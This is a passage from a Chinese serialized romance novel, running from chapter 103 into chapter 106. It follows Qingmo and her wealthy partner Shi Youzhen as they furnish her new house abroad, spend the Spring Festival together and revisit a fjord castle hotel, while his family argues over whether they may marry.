曾经的羡慕,今天就这么简单地被人实现,她之后配合签字办手续,这一栋房子就成为她的财产了。清茉也想该用什么心态对看待这种过于容易的获得方式,她因为施友臻的偏爱,通过打着爱情名义的捷径,得到了心爱的东西,对于那些一分一分靠着勤劳积攒财富的人,很不公平的吧,这毕竟跟她自己生在巨富之家是两码事。她走神地想东想西,施友臻在前面停下脚步等她,又往回走了两步,牵起清茉的手,问她:“想什么呢?” 清茉笑着回答:“想我以后也要好好挣钱,也给你买喜欢的房子,哥,对我有信心吗?” 施友臻再次肯定了自己的判断,他不反感清茉的敏感和顾虑,反倒更加觉得怜爱和心疼,她以为白得,其实是过去千丝万缕的缘分使然,世上没有无缘无故的爱恨,也没有白走的路。要是清茉给他买,也不失为一种乐趣,他可是很挑剔的人,施友臻用力握了握清茉的手,肯定着:“好,我正好有看好的,等你给买。” 清茉:“也别期待太高,搞不好凭我只能做挣十块给十块的那种人。” 施友臻被她的活学活用逗笑,表扬道:“那更珍贵。” 一同迈入这栋房子,主人一直很用心地打理院子,有一片整齐的草地,四周种着叫不出名字的当地花草,错落地营造出绿意盎然的景观,看着心情就很好,院子里还有一处泳池,恩永超喜欢,过去研究起来,还跟清茉嚷嚷着:“我就说他们聚会怎么这么吵,真的是连唱带跳,这泳池好,砌地漂亮,大哥你怎么不早买啊,早买我一天来游八百回。” 施友臻一听,心里是新账加旧账,对恩永简直没了好脸色,清茉拉着他继续往里走,大地色系的釉面砖,通刷暖白色白墙,从房梁开始留了很多温润的原木,屋子里有几处线条简约的弧形门洞,大厅往二楼走的楼梯,是很有韵味的旋转楼梯,楼梯扶手是铁艺雕花藤蔓,从旋转楼梯上到二楼,露台上铺着撞色花砖,有一小面墙用珐琅小砖拼接,很有历史年代感,颜色仍旧焕发着碰撞的活力。 简直就是她的梦中情屋。 施友臻问她喜不喜欢,清茉用力点头,不过又问着:“哥,我自己住,有点夸张吧,光草地维护,浇水,就不小的开支。” 施友臻:“我不住吗?” 清茉:“……” 恩永立马把一本册子递给清茉,那是许久之前,大哥让他整理的欧洲家居设计品牌,当时大哥不知道什么心态,反正就是不了了之,没想到工作没有白做,现在光明正大交到了清茉手上,恩永得意道:“姐,我可是按照你的审美仔细整理的,你尽管挑,我去置办,这里面确实好漂亮,姐你加油买买买。” 清茉接过去,施友臻估计嫌弃恩永聒噪,拉清茉去二楼主卧,站在那个漂亮的露台上说着:“前段时间这边办事机构裁撤了,办公楼还留着没处置,现在恩永会负责重新招一部分人回来,即是融恒的海外机构,也负责帮你打理房屋和其他事务。那栋办公楼空置的房间也不少,茉茉,你可以想想自己有没有喜欢做的事情。” 清茉拿不准,问着:“哥,您具体点嘛。” 施友臻:“之前也跟你讲过,社会资源和社会关系,本身就是自身实力的组成部分,如果你喜欢尝试的话,可以自己逛荡一下试试,比如从成立自己的工作室开始,艺术文化交流事业你都很熟悉,慢慢地尝试谈些业务,培养管理自己的团队。” 清茉思考,没有着急讲话,施友臻说着:“又可以当成玩一玩,试一试,我能给少衡的大娄子托底,当然也能给你托底,你比他乖太多。” 清茉伸出小拇指勾了勾施友臻的小拇指,摇了摇,心里很暖,眼睛又有点酸涩,眼圈红红说着:“谢谢哥,我认真考虑。” 第103章 第一百零三章 今年的农历春节比往常晚…… 今年的农历春节比往常晚, 从阳历新年到农历新年,中间隔着小两个月,等清茉房屋购置的手续办理完, 也接近春节了,当地的华人要组织新年活动,房东阿姨邀请清茉一起参加, 学校里的朋友也邀请清茉参加各种聚会,毕竟是一年中最重要的团圆节日, 能聚在一起热闹热闹, 就不要落单, 恩永跟少衡也反复问过好多次, 说清茉在哪里, 他们就要去哪里过年。 距离上次施友臻过来,已经过去了几周,清茉在那周时间里陪着他一起参观学校, 手拉着手走她每天两点一线走过的路, 走累了就停下在清茉喜欢的街边小店喝一杯咖啡,享受慢悠悠的时光, 清茉仍旧介意那次施友臻帮她修改方案时候的恶劣态度, 坐到跟上次同一个位置, 又开始翻旧账,谁知道施友臻说着:“因为那时候超爱又不知道怎么承认, 心里压着火气, 就想欺负你,我再一次跟你道歉。” 清茉被他这么主动地说“超爱”,都有点脸红,低头抿着咖啡, 说着:“好吧,宰相肚子能撑船,我原谅你。” 施友臻顺着她的话,低头看了眼清茉的小腹,清茉警惕问他:“干嘛?” 施友臻难得露出犹豫的神情,似乎觉得时机还没有到,就没再讲什么。 他俩吃饭的时间就寻找口碑不错的当地餐厅,或者直接去清茉喜欢的那几家。周中的时候,甚至去邻近城市的海边短途旅行了一天,清茉打卡了一家一直想去的海边餐厅,施友臻喜欢看她开心时候眼睛里亮晶晶的模样,真的开心,跟假笑着应付,完全是天上地下两幅模样,他有几分庆幸,能够重新看到她发自内心快乐的笑容。 清茉拍了好多漂亮的照片发到账号上去,少衡第一时间看到就追过来电话,心理失衡地一通抱怨,让清茉赶紧把他哥撵回来上班,清茉拒绝着:“不要,我想跟他在一起。” 少衡:“……”半个字都不像多听,立刻挂断电话。 他回国的前一天,清茉在租住的房子里给施友臻做了一顿水饺,牛肉芹菜馅儿。她戴着围裙和面的时候,施友臻还是一脸介意地问了句:“到底给恩永做了多少顿,练得这么熟。” 清茉:“你不管我的时候,人家恩永可是帮我把流量做起来了,那段时间开始有广告收入,我过日子才没那么焦虑,你当哥哥的,别那么小气。” 施友臻帮忙搅拌水饺馅儿,干得有模有样,清茉才想起来当初在小房子,施友臻蹭在那里的时候,也会到厨房里干些家务,比如不能容忍垃圾过夜,不能容忍洗碗槽里堆积的盘碗。不过一年多的光景,回想起来像很久很久以前了,他高高在上的形象占据着记忆中的主导,反倒忽略了这些蛛丝马迹,清茉一边擀面皮儿一边翻旧账,问着: “哥,你当时非得要在我小房子里待着,撵也撵不走,经常不请自到,那时候是不是就已经超爱了?” 施友臻一脸坦然讲着惊世骇俗的话:“不是那时候,要更早。” 清茉又猜了几个时间,施友臻都否认,清茉猜不出来,他才说着:“当时我自己大概也没有察觉,现在复盘,应该是第一次见面就喜欢,心里放不下。” 清茉怔,难以置信,问他:“不可能吧,云端那次吗?都那么多年没见面了,怎么可能第一次见到就喜欢?你能认出我来我都觉得惊讶,少衡不是也在场嘛,他跟马大哈似的,一点都没认出来,我记得我是不是还戴着口罩?” 施友臻从清茉身后拥着她,说着:“嗯,就是那天,茉茉,你自己可能意识不到你有多吸引人的目光。” 那天清茉妆造浓烈,张扬明艳地让人移不开目光,偏偏还伪装成一副任人采撷的世俗模样,对于循规蹈矩一直活在自己规则世界中的施友臻来说,是感官上和心理上的双重刺激,有来自于男人YU望本能的部分,也有记忆里一直默默关注她的惯性使然。 清茉有些意外有些飘:“哥,这样的话,我可就骄傲了。” 配着饺子还搭配了两个小菜,开了一瓶酒,拿酒的时候故意逗施友臻,说着:“酒也是以前恩永拿来的。”清茉问着:“哥,春节我飞回去过呗,你们家里长辈应该很重视年节吧,我飞回去会不会给你添乱。” 施友臻没同意,说着:“不用,别来回折腾,我来你这里过年。” 清茉觉得施家家大业大,长辈众多,应该挺重视年节传统,不过施友臻应该是已经在世俗规则之外的地位,她好奇问着:“哥,你不会是要来我这里躲清静吧?” 施友臻:“嗯,差不多。” 一方面也装出体面的样子,怕耽误他的工作和家族传统,可真听到他说过来,清茉是真的心里轻松,有点开心,不,是很开心,快乐都写在了脸上,说着:“那我这段时间正好可以好好整理整理新房子,迎接新年,哥,那我就全部按照自己的喜好来置办了?” 施友臻:“嗯,不会想我吗?” 清茉:“会,现在就有点想了。” 没有变成爱人之前,偶然遇到是可遇不可求的馈赠,成为恋人之后,才察觉分离是多难以忍受的事情。清茉每天早中晚会跟施友臻通话,他们虽然认识很久了,但是恋爱的时间短暂,好像有讲不完的话,哪怕施友臻原本是话少的人。 他会很仔细地询问清茉一日三餐的内容,问她今天的行程,上午会不会去学校,下午要去哪个家居店挑选喜欢的物品,清茉把看到好玩的事情都会记录发给施友臻,也会问施友臻那边有没有发生什么有趣的事情,施友臻就说都是很无趣地开会、看文件、听汇报,但是也会说几句很有烟火气的话,比如餐厅曹叔问你怎么好长时间没去吃饭了,他去进修了科学食补的课程,等着一展拳脚。 清茉的新家已经进了一批家具,她会仔细地拍摄给施友臻看,在主卧单独给施友臻配了一个宽敞舒适的单人沙发,施友臻很满意,太满意了,于是离春节还有一个星期到来的时候,他没有提前通知清茉,独自飞了过来。 那天清茉正巧在搬家,房东阿姨也旅行回来了,帮清茉整理东西,清茉住地很爱惜,把房子打理地整洁漂亮,房东阿姨特意做了一大桌菜,跟清茉聊天,也聊到她的导师,不过也就是在聊天的时候提一提,阿姨说并没有精力和耐心再去经营新的感情。 其实没有多少行李,清茉没麻烦融恒的人,自己把行李装到车上,施友臻知道她喜欢开外表狂野的车,前些日子特意让恩永送来了一辆,让清茉代步,车里空间很大,搬运行李特别合适。 她开车去自己的新房子,站在门口的时候深深呼吸,还是觉得像做梦,把几个行李箱拉进去,正打算往里走,听见有人摁门铃,或许是订购的家居,清茉过去开门,看到门外的人,愣住,然后开心地笑着跳到了他身上。 施友臻托着清茉进屋,先亲了几口,一气儿抱到楼上主卧。 温存之余,清茉趴到施友臻胸口上,问着:“哥,怎么提前这么早过来?” 施友臻打算严正交涉,说着:“过来监督你重新规划新年的日程,建议你跟导师好好商量,每年集中几个月在这边,剩下的时间回去跟我一起生活。” 因为没有体会过恋爱时期两地分居的苦,清茉之前并不觉得这是问题,高估了自己的定力,以为就算确定了恋爱关系,工作生活该怎么样还是怎么样,这一个来月下来,清茉觉得实在是煎熬,又是刚刚热恋的人,这不是自己给自己上刑吗? 她也不是不懂变通的人,要是之前肯定疑心疑鬼,觉得施友臻故意干涉她,现在有商有量,觉得确实该认真考虑,她哥老是逃班飞过来也不是事儿。清茉点头应着:“行,我排一排时间,就算要飞来飞去,咱俩轮班怎么样?哥,那你说,是不是,每天都超想见到我?一天不见就难以忍受?” 施友臻认真回答:“嗯。” 清茉嘿嘿点头:“巧了,我也是。” 少衡电话追过来的时候,施友臻正在认真地规划旅行路线,他给自己安排了一个将近二十天的长假,准备跟清茉一起旅行,反正有一站肯定是北欧峡湾附近的城堡酒店,施友臻不想让清茉一直对孤独的旅行葆有那么鲜明的记忆,他想重新再去一次,用新的记忆,覆盖住以前的那些,甚至南美的世界尽头,也要重新牵着她的手去一次。 施友臻不想听少衡啰嗦,直接把电话给了清茉,清茉打断少衡,说着:“干嘛啊,又打扰我们二人世界。” 少衡气到无语,问着:“茉茉你这么对我忍心的吗?我顶着多大压力知道吗?又要在公司练铁腚功,又要回老宅子应付长辈,今儿爷爷还问我过春节的事儿,到时候我自己回去,肯定会被审讯,茉茉,我也去找你一起过呗。” 清茉问施友臻:“少衡能过来吗?” 施友臻斩钉截铁:“不能。” 清茉委婉传达:“你别折腾了,我们要出去旅行,你安心陪长辈过年哈,乖,哥肯定给你包大红包,我也给你。” 第104章 第一百零四章 少衡是真的有点困惑,他…… 少衡是真的有点困惑, 他哥是低估了自己的影响力,还是真的毫不在意繁文缛节,世俗的传统框架在他眼中难道真的是个屁, 年关将近,抬屁股就跑。 公司里各项工作收尾,光是各部门的汇报工作会议就排得超满, 少衡不仅要管理自己的融恒置业,还要做他哥的替会者, 有些业务他懂, 有些不懂, 就硬坐着听, 听完还得跟夏助讨论一番, 把重点捋出来,存在的问题标注出来,当天的会要当天总结完发给他哥。 这世上能把二世祖少衡累成狗, 心甘情愿任劳任怨地啃业务快速成长, 估计就是他哥了,也不止是他哥, 是他哥跟茉茉。少衡算是认了, 不然能怎么办, 铁树开花能不让他开,茉茉说想跟他哥在一起, 他能横刀夺爱?不能, 他选择酸溜溜成全,然后在他哥因为谈恋爱缺位的时候,快速成长。 总裁办小孔主任来请示春节给职工的过节礼品,支出需要签字, 说施总只指定了其中一项是某户外品牌的衣服,少衡好奇,问着:“我哥指定的?不可能吧。” 小夏在一旁疯狂挤眉弄眼,少衡翻了翻集团职工们已经选完款的汇总单子,突然就明白了,这是够离谱的!这不是茉茉旅行时候赞助她的那个牌子嘛!他哥真是够神经的!少衡当即翻了翻清茉的视频账号,确认品牌赞助的时间,那时候还是他哥跟茉茉完全断了联系的时候!他哥真是够装模作样的! 少衡回想起茉茉以为是自己赢得了品牌方的青睐,去主题乐园的时候还美美地精心搭配,为了给品牌方出片化了超可爱的妆,像一颗粉粉嫩嫩的草莓,搞半天是他哥的手笔,以少衡对他哥闷骚变态程度的了解,搞不好品牌方送到茉茉手里的衣服,都是他哥亲自挑的。 真是够恶劣! 少衡想着清茉炫耀自己接到品牌推广的骄傲模样,忍了忍决定不揭穿了。 邻近春节的几天,又下了雪,少衡在融恒集团办公室加班到凌晨,起身活动的时候才看到外面飘了雪,遂一个电话打给闫峰,“怀民亦未寝”,把闫峰从家里薅出来,让他开车过来,接上一起去泡温泉。闫峰大半夜载着冬瓜,哼哧哼哧开到融恒楼下,见面就骂骂咧咧问候着:“发什么神经啊折腾我?还没从失恋阴影走出来?我可是早就爱上别人了,跟我学着点,天涯何处无芳草,请做回曾经的你。” 少衡抱着冬瓜求安慰,有气无力说着:“ 明儿逃半天班,去泡个温泉缓缓,不行了我。” 冬瓜爸爸开车,看他有气无力摊在那儿,问着:“逃班小心你哥揍你。” 少衡:“别提了,他上个周末就翘班飞去找茉茉了,过了春节年假才回来,他这么一整我心里压力超大,过年得我一个人应付长辈,想想七大姑八大姨脑袋就要炸了,我哥真是太聪明了,自己从舆论漩涡跑了,留下我看叔伯们脸色,想想就烦。” 冬瓜爸爸哦哦了两声,八卦着:“想不到施总热恋起来也这么投入,我还以为他是天生热爱工作,天塌下来也不会耽误一天班的那种。那你怎么着,就这么眼睁睁瞧着人家热恋呗。” 少衡抱紧冬瓜,长叹一口气,说着:“就这样吧,这样挺好,反正以后他俩结婚,茉茉还是能天天见着。” 闫峰听到耳朵里,觉得哪里很不对,少衡又补了句:“不知道什么时候结,目前他俩都没提,过年也没有见家长的节奏,我看他俩完全沉浸在自己的世界里,算了,想想就酸,冬瓜给我带两天呗,我寂寞。” 闫峰:“……” 少衡算是自己预言对了,他自己给自己放了半天假,还给清茉发了冬瓜视频,结果人家清茉都没回,不知道跟他哥鼓捣啥,少衡无语地爬起来让闫峰送他去赶下午的班,结果一进办公室就看见施妈妈已经在里面等着了。 施妈妈保养地好,优雅地坐在那里翻看杂志,见到少衡来上班,把杂志合上,问他:“我还以为你跟你哥一样,一眨眼就找不着人了,坐下,妈妈问你点事儿。” 少衡心里叹气,说着:“妈,我什么都不知道,你直接问哥不行吗?” 施妈妈跟少衡讲话不藏着掖着,挺不满地说着:“我还以为是你在跟林家小姑娘谈恋爱,没想到小姑娘胃口大得很,瞄上的是你哥,我说上次删照片的时候你哥怎么态度那么差,所以到底是什么情况,只是在谈恋爱的吧?” 少衡没吭声,施妈妈接着道:“结婚不行的,结婚肯定不行,你爷爷不可能答应,张嘉那种门当户对的姑娘才可以。林家自己不就是吃了这种亏,林清茉的妈妈小户人家没见过世面,遇到大的投资决策只知道撺掇不知道风险评估,结果全赔进去了,家庭出身决定眼界,你哥肯定是被迷了眼,跟你哥讲,春节必须回来。” 少衡觉得施妈妈的话很难评,他只是说着:“妈,太偏见了吧。” 施妈妈一听少衡给帮着林清茉讲话,更生气了些,说着:“你也是,你怎么能蹲下来给她系鞋带呢?男儿膝下有黄金,我生养你教育你,就是为了给女人系鞋带的吗?妈妈好生气她跟你们兄弟俩都牵扯不清,这不是心机是什么?反正结婚不可以,玩闹也就玩闹了,你们都是成年人,妈妈不管,结婚不可以,爷爷也肯定不同意。” 少衡:“……” 施妈妈站起来,又补了句:“你们总是天真,当年林家倒了,你们以为咱们家没分一杯羹吗?咱们家不做落井下石的事情,林家当时确实已经是无底洞,帮也帮不上了,你爷爷帮忙托了不少人情,好歹林家最后不至于负债到几辈子还不起。可是有些项目空了,自然有新的人顶上,规则就是这么残酷,林清茉知道了会怎么想,她知道你融恒置业的大楼,本来就是她家的资产吗?是我们家接了他家的项目,接了她家的地产,继续飞黄腾达。” 少衡沉默了一会,说着:“这些我哥都查过,重点是我们没有落井下石,妈,您也说了,市场就是旧人退下去,新人顶上来,我不觉得咱们家是加害方,既然我哥坦坦荡荡去谈,茉茉就算知道,也会理解,她……不像你想的那样。” 施妈妈脸色更加不好看,说着:“茉茉,还叫这么亲,妈妈的态度很明白,恋爱可以谈,结婚不可以,他们春节不回来也可以,张嘉肯定会去给爷爷拜年,让你哥看着办吧。” 少衡要是之前,施妈妈一离开,他肯定就一个电话给他哥打了过去,这段时间少衡也算是沉淀了下来,送走施妈妈后,按部就班该上班上班,把手头的工作都处理完,下班的时候直接去了施爷爷那里。下班高峰堵车,开了将近两个小时才绕进山里老宅,进门的时候施爷爷正在打太极,见着少衡挺惊讶,问着:“咋了?你小子又闯祸了?” 少衡闷闷地坐在那里,施爷爷过来看乖孙一脸不开心,问着:“你哥骂你了?” 少衡问:“爷爷,听说您反对我哥谈恋爱?” 施爷爷困惑:“啊?听谁说的?” 少衡:“我妈!” 施爷爷:“你哥决定的事儿,我哪敢反对?你妈这么说的?是不是她知道你哥谈的是林家的小姑娘,心里觉得不痛快?那肯定的嘛,你可给我作证,尤其是在你哥面前作证,我什么反对的话可都没讲。” 少衡:“我妈还说,张嘉过年要来给您拜年,听那意思,您是承认张嘉姐呗?” 施爷爷忙摇头,说着:“得,我这摘不清了,我也出去旅游去,不着家总行了吧,莫须有!莫须有!你妈也是,反对什么啊反对。” 少衡:“真的?” 施爷爷:“那我先问你,什么时候好上的?在医院伺候人家小姑娘的时候?” 少衡:“爷爷您什么都知道呗?” 施爷爷:“话说回来,去年春节,你哥阴着脸急匆匆就走了,是不是也跟人家有关系?” 少衡:“不知道,你们怎么都不直接问我哥,都逮着我问?” 施爷爷:“不敢不敢,哪儿敢问他啊,我就怕他撂挑子,你妈也不想想,老大多不容易,这么多年不是他跟机器人儿似的硬抗,融恒还指不定什么样呢?咱们都是既得利益者,凭什么不让老大过两天舒坦日子,他身边早该有个体己人。所以,他俩感情确实不错?能结婚的那种?” 少衡:“只要茉茉点头,应该能结。” 施爷爷:“哦,这样啊,怪被动的呢。所以说,一个萝卜一个坑,你大哥那狗脾气,可算是遇到能整治他的人了,挺好,挺好。” 少衡:“爷爷您可说到做到,我妈的心情,其实我也理解,但是他俩……他俩都不容易,家里要是推三阻四,我现在就给茉茉打电话,让她别谈了。天高海阔,她何必受咱们家的闲气,让她把我哥甩了得了,人家茉茉在海外已经拿博士学位了,又漂亮又高知,性格也好,踹了我哥,什么样的找不到。” 施爷爷被气笑,骂着:“混小子你是要我写保证书吗?你可别从中撺掇,宁修十座庙不拆一桩婚,你妈那里我去做工作,老大爱怎么谈怎么谈吧,让他像个正常人一样生活。” 少衡突然就眼眶发酸,仍旧是想起那晚在抢救室外他哥独自站在那里的背影,还有那通把他喊过去的电话,少衡小声说着:“所以我愿意退让,我们该对他好点,他老是一个人,茉茉也老是一个人。” 他讲话声音小,爷爷没听清楚,问他:“什么?” 少衡站起来,揉了揉眼睛,说着:“我回去了爷爷,今儿的谈话我录音了,您敢反悔我就发朋友圈。” 施爷爷气得举起拐杖,少衡往外跑,喊着:“爷爷,春节我陪您出去旅行吧!我找个地儿,您等我信儿哈!” 从施爷爷住的宅子离开,下山的盘山路寂静蜿蜒,少衡给他哥打电话,他哥不知道跟茉茉在哪里,电话里能听见风声,少衡像个受了委屈的小孩一样跟他哥学两边的话,他哥难得耐心听了下去,反应也跟少衡想的差不多,他哥说:“不会在意这些,得到祝福当然更好,但没必要看太重。” 几个很急的山路大弯,少衡专心过了弯,才说着:“我知道你不在乎,我是怕茉茉受委屈。” 他哥沉默片刻,竟然说了:“谢谢。” 少衡突然想起来,跟茉茉在温泉偶遇那次,聊天的时候推荐茉茉以后来这个山头的盘山路骑行,一年四季风景都很好。少衡想着这样也很好,他们可以一直一直都是一家人,可以一起骑行,一起旅行,一起生活在一起。 就这样吧,这世上那么多心硬的人,算了,这次他来做心软的那个。 第105章 第一百零五章 清茉以为按照施友臻的作…… 清茉以为按照施友臻的作风, 这几周假期应该被安排成工作表格,哪天干什么哪天干什么,几时几分几秒干什么都精确好, 她甚至想自己做个表格,实现施友臻的假期愿望清单,毕竟相聚在一起的假期太宝贵了。结果他完全换了一种风格, 懒懒散散地并不执着于安排旁的事儿,每天夜里折腾她, 白天有了兴趣也折腾她, 随手就把她捞过来, 主打没有时间规划, 全凭随心所欲。 干旁的事情也是随性而起, 完全享受松散的自由时光,仿佛以前过的都不是人过的日子,现在这样才是最舒服的状态, 身心舒坦。 施友臻不去规划, 清茉自然顺着他的性子,毕竟相聚时间宝贵, 想想年节之后就要分开万里, 已经有点忧伤了。施友臻也很喜欢清茉的新房子, 确切的说,只要是清茉的房子他都喜欢, 被他买下的那个小房子, 清茉住着的时候他就是觉得虽然小,但是风水好,又聚气又温馨,他喜欢清茉把居住空间打理得色彩温暖。 不过他最近好像也体会到自己打理房子的快乐, 尤其是庭院作为家庭门面,不容小觑,有些活儿考验的是男主人的实力。施友臻亲自修剪了草地,他聪明的大脑学什么都快,上网研究一下教材,买来工具就去实践完成,清茉坐在一旁,欣赏世界名画一般看他哥干活,见到施友臻蹲下来清理杂草,感叹道:“哥,你腿部肌肉线条太完美了,艺术品。” 施友臻问:“只有腿部?” 清茉立刻补上:“全部!全部!人间绝色!” 施友臻满意,站起来环顾四周,总觉得院子里还少点什么,就拉着清茉的手,散步走到了酒店对面的花店。这个城市的花店很出名,人们习惯在平日或者浪漫的节日购买鲜花装点生活,清茉住处附近的这个店就是经营了很多年的有名小店,老板知道清茉搬家了,见面热情地打招呼,说着:“哦,这位先生我印象深刻,我们之间有一点小秘密。” 清茉猜到是送花那次,也笑道:“那可千万不要让我知道。” 施友臻进店逛了一圈,捏了捏清茉的手,问着:“我要买花放在家里。” 清茉以为他就买三两束,就站在一旁跟老板娘聊天,让他去挑,男人想着买花装扮家里,值得表扬,就全权交给他了。结果施友臻指了指全部的玫瑰花区域,说着:“每个颜色都来一束。” 清茉:“?” 老板娘笑得爽朗,说着:“真的吗?每一种颜色?一束多少支由我来决定吗?那你可抱不走,这样吧,待会送到你们的新家,还有其他需要的吗?你们是拿回家自己搭配吧,那我送给你们一些搭配的花草。” 清茉谢谢老板,简直无法想象被粉的红的黄的玫瑰装扮的家里得有多热闹,朴实地挑选了两盆薄荷和迷迭香,但是问施友臻:“家里没那么多花瓶吧,不过我知道有家卖手工琉璃花瓶的店,要去看吗?好多游客专门去买。” 施友臻跟老板约定了送花的时间,跟清茉一起回家开车,清茉还是喜欢自己开车,施友臻也已经习惯坐副驾驶,清茉上车戴上墨镜,趴过去亲了施友臻一口,说着:“达令,系好安全带,揣好你的钱包,我们去的店不便宜哟。” 施友臻很受用,喜欢看他的小姑娘帅帅的小样,脸上是舒坦的表情。 开车过去不远,进店后施友臻亲自挑选,很认真地比对研究,更认真地跟清茉讲他想放在哪里,清茉一时间还有点不适应这么日常的施友臻,一直忍着笑,说着:“哥,你这么认真,我总觉得是在跟我聊什么几个亿的大项目。” 施友臻挑选出几个高矮不同的水波纹透明厚玻璃花瓶,说着:“有阳光照过玻璃的时候应该挺好看,餐桌上可以放几个。” 清茉:“嗯嗯,哥,你的审美一绝,超美。” 她哄着恭维完他的审美,想起了旁的事儿,自己先忍不住笑了,施友臻敏锐察觉,问她:“怎么了?” 清茉晃晃施友臻的手,笑道:“我不敢说。” 施友臻更加好奇:“不行,讲出来。” 清茉:“那你先买好花瓶,上车告诉你。” 施友臻立马结账,抱着花瓶箱子放到后备箱,上车后清茉说着:“你听了不能生气,也不是什么生气的事儿。就是我偷偷住到你房子的那天晚上,我肌肉记忆还是以前的家具摆设,房子又小,你换了家具,我磕磕碰碰好几次,关键是你换的花洒太高级,我找半天开关,还被凉水浇了,我就被气哭了,哭特别凶,就是被你花洒气的。” 施友臻不觉得这是好笑的事情,让清茉找地方停车,问她:“不关花洒的事,其实是被我气哭的?” 清茉:“也没吧,身上不舒服,感情比较脆弱,你也没气我,走不到一起的理由那么多,谁也怪不着。哥,就算那天晚上,我用以前的密码打开了门,我也没敢想咱俩以后能在一起。” 施友臻揽她过来亲了一会,说着:“可以怪我。” 清茉问着:“哥,我看过一句话,说爱情能让骄傲的人低头,懦弱的人勇敢,咱俩算不算?” 施友臻想了想,回答着:“你不需要我低头,茉茉,你不是在比我低的位置上,怎么能说低头?某种意义上,我可能更需要你,而且更重要的是,你跟懦弱可不沾边,平心而论,你成长的道路,不勇敢怎么可能走到今天,你没有那么勇敢去坚持的话,我走不到你面前,你也走不到我面前。” 清茉没想到他会讲地这么认真,感动之余是可以抒发出来的委屈,在缺少鼓励和表扬的漫长岁月中,她努力选择自认为正确的道路,就这么谨小慎微地走到今天,突然被他表扬肯定,清茉有点想哭,揉了揉眼睛说着:“哥,你好会讲情话,我都要哭出来了。” 施友臻捏了捏她的腮,说着:“所以不要把心事一直闷着,我是,你也是。” 回程路上,又去了一家商厦,施友臻继续挑选了附和他审美的花瓶,估计是觉得手工玻璃的价位略低,去挑了几个贵到离谱的,回到家没多久花店老板就过来送货,进来参观了清茉的新房子,赞不绝口,又给清茉推荐了好多绿植,教他俩怎么醒花插画,送走老板,清茉给施友臻打下手,把超多的玫瑰花铺开,她修剪醒花,施友臻往花瓶里摆放。 纯色的,拼色的,很快餐厅、客厅、阳台、后院都摆上了鲜艳的玫瑰花,施友臻把最娇艳的一捧红玫瑰放到了主卧中,清茉瞧见,说着:“哥,我从来没敢想,可以这样生活。” 施友臻仔细调整着每朵玫瑰花的位置,从中间取了一朵花头饱满的,送给清茉,说着:“我也没想到会侍弄花花草草。”话锋一转,突然又道:“房子收拾差不多,年前出去旅行怎么样?我想去你住过的那栋城堡。” 清茉没想到他怎么也说走就走,算算日子,飞过去住几天,再回来过除夕时间也充裕,就笑着点头答应,说着:“可是哥,要是按照我之前的行程安排,感觉会委屈了您。” 施友臻:“不会,还是订你住过的那个房间,我觉得很漂亮。” 清茉:“真的要去?” 施友臻:“嗯。” 清茉:“那我现在就收拾行李。” 短途旅行飞过去不累,在飞机上清茉问着:“哥,你是不是惦记着过去再买几个羊毛毡小挂饰,或者买被我摔碎的杯子?” 施友臻:“顺便可以买。你不是说雪天自己旅行很孤独吗?我陪你再来一次,就不会孤独了。” 清茉:“太浪漫了哥,您真是太浪漫了,我想我会爱上您。” 施友臻:“谢谢厚爱。” 峡湾前几天下了大雪,车子载着他们穿过森林雪景一直开到城堡酒店的门口,下车后没多久,那只边牧又摇着尾巴跑了出来,清茉已经知道了施友臻就是乱码ID账号的主人,故意揶揄他说着:“你上次是不是对这位小狗朋友不友好,被我粉丝姐妹们集体出警了?” 施友臻摸了摸热情的大狗狗,说着:“那要我跟它道歉吗?” 清茉乐:“我给它带了礼物,超可爱的小狗玩具,待会你送给他。给冬瓜也买了一个,对了,我录一段发给冬瓜,明天跟冬瓜约时间视频,看看它们能不能成为好朋狗。” 进酒店,接待清茉的工作人员还记得她,热情帮她办理入住,还是之前能看到峡湾的那间房子,清茉进屋后松口气,问着:“哥,怎么那次我自己走过来觉得好累,跟你在一起不觉得累。” 外面正好是蓝调时刻的美丽风景,天空,雪山,海洋,小镇开始亮起的暖橘灯光,施友臻把她拉到自己腿上面对面抱着,问她:“因为你把自己安排地太疲惫。” 清茉一想,彩虹屁继续补充着:“重点是,哥,你把我照顾地很好,除了小时候,你是把我照顾地最好的人。” 第106章 第一百零六章 施友臻体格太好了。清茉…… 施友臻体格太好了。清茉跟他重新登上远眺蓝调时刻的山岭, 施友臻走在前面,步履平稳,气息更平稳, 一点不带喘的,反而不时拉着清茉的手,借力拽她往上走。清茉自觉户外活动也不弱, 前段时间伤了元气,有那么一点影响, 现在也算是基本养回来了, 但完全是被施友臻拉爆的节奏, 她拽着施友臻的手, 问他: “哥, 你要是走专业运动员路线,应该也超厉害,哥, 你绝对是最优秀的人类, 不仅有美丽的大脑,还有完美的身体, 太厉害了我哥, 俊美的、强壮的、多金的, 我的!” 施友臻就是吃她小嘴叭叭一套词儿一套词儿的彩虹屁,他觉得清茉小时候无法无天的鬼精灵模样被养回来了一些, 小时候她就经常用从电视上学来的浮夸表情夸这个夸那个, 其实是夸着旁人心甘情愿当牛做马,伺候她这个娇生惯养的小公主。 山顶三三两两的游客在拍照,第一次来到这里的人很容易被眼前空灵辽远的美景征服,清茉印象里, 施友臻应该常年待在办公室里,除了公务出差,鲜少旅行,她想把自己喜欢旅行的心情分享给他。 清茉带施友臻站到之前她站过的位置,说着:“上次我们一起的人里有个帅气的音乐家小伙子,在这里唱了一首听不懂的民谣,很好听,哥,你看,能看到我买旅游纪念品的小店,在教堂的旁边,看到了吗?” 施友臻顺着清茉手指的方向望去,不久前还是在清茉镜头里共享这份美景,现在就能并肩站在这里,他记得,也记得那首民谣的旋律,索性承认着:“你的旅行视频,我播放了很多次,深夜会反复看,上次你在直播里工作,镜头对着窗外峡湾,我听你打字的声音睡着了。” 清茉:“哥,我以为你不会承认呢,我发现你视频播放历史记录了,反正蛛丝马迹表示,你就是超爱。” 施友臻笑着亲吻她,站在高高的山岭之上,被峡湾的蓝调时光包围,清茉想,原来不是旷远的天地风景让人感到孤独,是心里有所想念才会孤独。 山顶咖啡馆里的咖啡依旧醇香温暖,清茉坐在里面跟施友臻分享上次碰到的旅人,讲他们怎么用不低于四种语言交流各自人生,正确语法、标准发音、流利程度,都不再是交流的必须选项,最简单的词汇加上肢体动作好像就能传达很多意思。清茉讲那个人气超高的唱歌小伙子,回去要准备重要的入学考试,那对中年夫妇把家族餐馆给了女儿经营,他们终于可以有时间结伴旅行,还有一个姑娘要去挑战最长距离的徒步路线,等挑战完成,就回去找一份安稳的工作。 